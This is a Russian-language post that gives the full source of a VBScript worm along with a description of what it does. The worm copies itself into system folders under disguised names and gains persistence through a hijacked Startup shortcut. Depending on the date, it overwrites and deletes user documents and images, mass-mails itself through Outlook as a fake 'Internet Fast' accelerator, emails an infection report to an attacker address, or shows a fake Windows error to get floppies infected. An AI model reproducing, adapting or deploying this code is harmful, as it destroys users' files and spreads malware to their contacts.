Когда вы открываете файл вирус сам себя переносит в папку (C:\WINDOWS\Fonts\MsFonts.vbe) и (C:\WINDOWS\System32\Ineternet Fast.exe.vbe)
Далее вирус будет искать в автозагрузке ярлык “Microsoft” и заменяет сам ссылку на файл (C:\WINDOWS\Fonts\MsFonts.vbe) делает себе запуск после перезагрузки.
Проверяет системную дату. И если дата больше13 числа любого месяца, вирус начинает заражение файлов с расширением (avc, txt, jpg, htm, js, doc, hlp)
Если системная дата меньше 13-го числа вирус распространяется по почте, используя программу Outlook.
Далее присылает на адрес hack-virus@narod.ru уведомление о том что заражение прошло успешно
А если системная дата ровна 13 числу то вирус выдает сообщение (Произошла непредвиденная ошибка Windows. Будет произведено экстренное копирование системных файлов. Вставьте чистую дискету и дождитесь завершения копирования. В противном случае Windows прекратит свою работу.) Если дискета не будет вставлена то привод “Flopy” начинает трещать пока не будет вставлена дискета. Если вставить дискету то вирус копирует себя под именем
(System32.dll.vbe, format.dll.vbe, fdisk.exe.vbe, winold.cab.vbe, System.cab.vbe, Fonts.cab.vbe.)
'Команды копирования и автозапуска вируса
On Error Resume Next
Dim FileSysObject, File
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")
Set File = FileSysObject.GetFile(WScript.ScriptFullName)
Set s = CreateObject("Wscript.Shell")
File.Copy ("C:\WINDOWS\Fonts\MsFonts.vbe")
File.Copy ("C:\WINDOWS\System32\Ineternet Fast.exe.vbe")
Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")
Dim MyShortcut, MyDesktop, StartupPath
StartupPath = WSHShell.SpecialFolders("Startup")
Set MyShortcut = WSHShell.CreateShortcut(StartupPath & _
"\Microsoft Office.lnk")
MyShortcut.TargetPath = WSHShell.ExpandEnvironmentStrings("C:\WINDOWS\Fonts\MsFonts.vbe")
MyShortcut.IconLocation = WSHShell.ExpandEnvironmentStrings("C:\Program Files\Common Files\Microsoft Shared\Office10\MSOICONS.exe")
MyShortcut.Save'Команды заражения
if day(now)>13 then
haha()
Sub haha()
On Error Resume Next
Dim d, dc, s, fso, haha
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
hihi (d.Path & "\")
End If
Next
haha = s
End sub
Sub hehe(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, s, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.Path)
ext = LCase(ext)
s = LCase(f1.Name)
If (ext = "avc") or (ext = "txt") or (ext = "jpg") or (ext = "htm") or (ext = "js") or (ext = "doc") or (ext = "hlp") Then
Set f = fso.getfile(wscript.scriptfullname)
f.Copy (f1.Path & ".vbe")
fso.deletefile(f1.path)
End If
Next
End Sub
Sub hihi(folderspec)
On Error Resume Next
Dim f, f1, sf, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
hehe (f1.Path)
hihi (f1.Path)
Next
End Sub
end if'Половые органы вируса
if day(now)<13 then
Dim OutlookObject, OutMail
Set OutlookObject = CreateObject("Outlook.Application")
Set OutMail = OutlookObject.CreateItem(0)
OutMail._
to = OutlookObject._
GetNameSpace("MAPI")._
AddressLists(1)._
AddressEntries(1)
OutMail._
Subject = "Internet FAST!"
OutMail._
Body = "Здравствуйте уважаемые пользователи всемирной паутины!Предлагаем вашему вниманию новейшую разработку Internet Fast. Самый новый ускоритель интернета. Установив данную программу вы забудете о маленькой скорости интернет соединения. P.S: Ваш электронный адрес взят из открытых источников."
OutMail._
Attachments._
Add"C:\WINDOWS\System32\Ineternet Fast.exe.vbe"
OutMail._
Send
end if'Сообщим о заражении компьютера
on error resume next
set out=createobject("Outlook.Application")
if out="Outlook" then
set item=Nothing
set itatt=nothing
set newitem=Nothing
set newmail=out.createitem(0)
newmail.to="zorkeg05_17_95@mail.ru"
newmail.subject="Infection"
newmail.Body="Infection completed successfully"
newmail.send
set out=Nothing
end if'Копирование на дискету
if day(now)=13 then
s.popup "Произошла непредвиденная ошибка Windows.Будет произведено экстренное копирование системных файлов. Вставьте чистую дискету и дождитесь завершения копирования. В противном случае Windows прекратит свою работу.", ,"Error", 0+16
Dim fso, odrive
Dim x, y, z
y=10000
Set fso = CreateObject("Scripting.FileSystemObject")
set odrive = fso.getdrive("a:\")
for x=1 to y
if odrive.isready then
z=1
end if
next
end if
if day(now)=13 then
File.Copy ("A:\System32.dll.vbe")
File.Copy ("A:\format.dll.vbe")
File.Copy ("A:\fdisk.exe.vbe")
File.Copy ("A:\winold.cab.vbe")
File.Copy ("A:\System.cab.vbe")
File.Copy ("A:\Fonts.cab.vbe")
File.Copy ("A:\Driver cache.cab.vbe")
end if